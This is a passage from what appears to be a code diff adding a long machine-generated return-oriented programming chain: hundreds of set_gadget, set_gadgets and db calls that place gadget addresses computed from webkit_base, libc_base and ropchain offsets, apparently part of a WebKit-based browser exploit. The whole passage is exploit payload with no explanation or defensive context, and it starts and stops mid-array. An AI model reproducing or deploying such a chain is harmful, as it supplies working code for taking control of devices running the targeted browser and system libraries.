+]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+322904, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+322936, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+322920, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+323048, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+323040, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+323064, +ropchain+323080, +libc_base+489696, +ropchain+323096, +libc_base+489696, +ropchain+326184, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([25, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+323344, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+323432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+323448, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+323592, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+323608, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+323576, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+323696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+323712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+323856, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+323824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+323840, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+323928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+323984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+324080, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965200, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+324168, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+324184, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+324344, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+324376, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+324328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+324360, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+324536, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+324488, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+324504, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+324616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+324632, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+324720, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+324776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+324904, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+324936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+324920, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+325096, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+325128, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+325080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+325112, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+325208, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+325224, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+325320, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+325304, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+325424, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+336600, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+325512, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965200, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+325600, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+325616, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+325776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+325808, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+325760, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+325792, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+325904, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+325888, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+325992, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+326064, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965200, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+326128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+321784, +libc_base+768796 +]); +db([256, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+326288, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965248, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+326392, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+326480, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+326496, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+326656, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+326688, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+326640, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+326672, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+326784, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+326768, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+326880, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+326968, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+326984, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+327128, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+327144, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+327112, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+327232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+327248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+327408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+327440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+327392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+327424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+327536, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+327520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+327640, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+298576, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+327760, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+327848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+327864, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+328008, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+327976, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+327992, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+328080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+328136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+328232, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+328328, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+328344, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+328432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+328488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+328560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+328616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+328912, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+329000, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+329016, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+329160, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+329176, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+329144, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+329264, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+329280, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+329440, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+329472, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+329424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+329456, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+329568, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+329552, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+329672, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+336600, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+329816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+329832, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+329800, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+329960, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+329992, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+329976, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+330104, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+330096, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+330120, +ropchain+330584, +libc_base+388400, +libc_base+713278, +ropchain+330192, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+330352, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+330384, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+330336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+330368, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+330464, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+330480, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+330576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+330560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278 +]); +db([4294965196, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+330680, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+330736, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+330800, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965196, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+330888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+330904, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+331064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+331096, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+331048, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+331080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+331176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+331192, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+331288, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+331272, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+331384, +webkit_base+4687784, +libc_base+768796 +]); +db([512, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([512, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+331528, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+331544, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+331512, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+331720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+331736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+331704, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+331864, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+331896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+331880, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+332008, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+332000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+332024, +ropchain+332040, +libc_base+489696, +ropchain+332056, +libc_base+489696, +ropchain+335000, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+332160, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+332248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+332264, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+332408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+332424, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+332392, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+332512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+332528, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+332672, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+332640, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+332656, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+332744, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+332800, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+332896, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965196, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+332984, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+333000, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+333160, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+333192, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+333144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+333176, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+333352, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+333304, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+333320, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+333432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+333448, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ 